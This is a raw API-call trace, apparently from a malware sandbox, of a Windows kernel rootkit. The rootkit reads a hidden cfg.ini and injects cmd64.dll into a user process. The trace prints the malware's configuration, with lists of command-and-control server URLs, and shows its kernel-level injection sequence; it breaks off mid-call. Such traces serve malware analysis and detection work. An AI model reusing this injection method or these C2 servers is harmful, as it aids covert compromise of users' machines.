ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0097.399] NtLockFile (in: FileHandle=0xffffffff80000520, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0097.399] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.399] KeEnterCriticalRegion () [0097.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.399] KeLeaveCriticalRegion () [0097.399] ZwQueryInformationFile (in: FileHandle=0xffffffff80000520, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0097.399] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.399] KeEnterCriticalRegion () [0097.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.399] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0097.399] IdePortDispatch () returned 0x103 [0097.399] KeWaitForMutexObject () returned 0x0 [0097.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.399] KeLeaveCriticalRegion () [0097.399] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.399] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a001785010 [0097.399] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0097.399] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0097.399] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="taskhost.exe (x64)=") returned 19 [0097.399] _strlwr (in: _Str="taskhost.exe (x64)=" | out: _Str="taskhost.exe (x64)=") returned="taskhost.exe (x64)=" [0097.400] ZwReadFile (in: FileHandle=0xffffffff80000520, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001785010, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a001785010*) returned 0x0 [0097.400] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.400] KeEnterCriticalRegion () [0097.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000010) returned 0xfffff880040ff010 [0097.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.400] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0097.400] IdePortDispatch () returned 0x103 [0097.400] KeWaitForMutexObject () returned 0x0 [0097.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.400] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0097.400] IdePortDispatch () returned 0x103 [0097.400] KeWaitForMutexObject () returned 0x0 [0097.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.400] KeLeaveCriticalRegion () [0097.400] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.400] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0097.400] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="taskhost.exe (x64)=") returned 0x0 [0097.400] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0097.400] ExFreePoolWithTag (P=0xfffff8a001785010, Tag=0x0) [0097.400] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0097.400] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.400] KeEnterCriticalRegion () [0097.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.401] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0097.401] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038e0f20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0097.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.401] KeLeaveCriticalRegion () [0097.401] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.401] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.401] KeEnterCriticalRegion () [0097.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.401] ExFreePoolWithTag (P=0xfffffa80038d50a0, Tag=0x0) [0097.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.401] KeLeaveCriticalRegion () [0097.401] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.401] ZwClose (Handle=0xffffffff800004fc) returned 0x0 [0097.401] KeSetEvent (in: Event=0xfffffa80038e0050, Increment=0x0, Wait=0 | out: Event=0xfffffa80038e0050) returned 0 [0098.261] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x5b0, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800004fc) returned 0x0 [0098.261] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0098.261] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000528, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0098.261] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.261] KeEnterCriticalRegion () [0098.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.262] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0098.262] IdePortDispatch () returned 0x103 [0098.262] KeWaitForMutexObject () returned 0x0 [0098.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.262] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0098.262] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0098.262] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0098.262] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0098.262] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038c9990 [0098.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.262] KeLeaveCriticalRegion () [0098.262] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.262] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0098.262] NtLockFile (in: FileHandle=0xffffffff80000528, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0098.262] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.262] KeEnterCriticalRegion () [0098.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0098.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.262] KeLeaveCriticalRegion () [0098.262] ZwQueryInformationFile (in: FileHandle=0xffffffff80000528, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0098.262] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.262] KeEnterCriticalRegion () [0098.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.262] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0098.262] IdePortDispatch () returned 0x103 [0098.262] KeWaitForMutexObject () returned 0x0 [0098.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.263] KeLeaveCriticalRegion () [0098.263] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.263] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0017a9e40 [0098.263] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0098.263] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0098.263] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0098.263] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0098.263] ZwReadFile (in: FileHandle=0xffffffff80000528, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0017a9e40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0017a9e40*) returned 0x0 [0098.263] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.263] KeEnterCriticalRegion () [0098.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4ee40 [0098.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.263] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0098.263] IdePortDispatch () returned 0x103 [0098.263] KeWaitForMutexObject () returned 0x0 [0098.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.263] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0098.263] IdePortDispatch () returned 0x103 [0098.263] KeWaitForMutexObject () returned 0x0 [0098.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.264] KeLeaveCriticalRegion () [0098.264] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.264] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0098.264] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0098.264] strncpy (in: _Dest=0xfffffa80038f5a14, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0098.264] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x90000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0098.264] ExFreePoolWithTag (P=0xfffff8a0017a9e40, Tag=0x0) [0098.264] ZwClose (Handle=0xffffffff80000528) returned 0x0 [0098.264] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.264] KeEnterCriticalRegion () [0098.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.264] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0098.264] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038f3c20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0098.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.264] KeLeaveCriticalRegion () [0098.264] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.264] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.264] KeEnterCriticalRegion () [0098.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.264] ExFreePoolWithTag (P=0xfffffa80038c9990, Tag=0x0) [0098.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.264] KeLeaveCriticalRegion () [0098.264] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.264] KeStackAttachProcess (in: PROCESS=0xfffffa80038ddb30, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80038ddb30, ApcState=0xfffff88002f8fa58) [0098.264] _snwprintf (in: _Dest=0xfffffa80038f580c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0098.264] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0098.264] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff80000528, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0098.264] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0098.264] KeEnterCriticalRegion () [0098.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.264] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0098.264] IdePortDispatch () returned 0x103 [0098.264] KeWaitForMutexObject () returned 0x0 [0098.265] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0098.265] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0098.265] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.265] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.265] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.265] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0098.265] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0098.265] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0098.265] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0098.265] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0098.265] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0098.265] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800367d5d0 [0098.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.265] KeLeaveCriticalRegion () [0098.265] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.265] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000528 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0098.265] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0098.265] KeEnterCriticalRegion () [0098.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.265] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0098.265] IdePortDispatch () returned 0x103 [0098.265] KeWaitForMutexObject () returned 0x0 [0098.265] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0098.265] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0098.265] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.265] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.265] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0098.265] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0098.265] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0098.265] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0098.265] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0098.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.265] KeLeaveCriticalRegion () [0098.265] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.266] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004fc, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0098.266] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0098.266] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0098.266] KeEnterCriticalRegion () [0098.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4f000 [0098.266] IoAllocateIrp 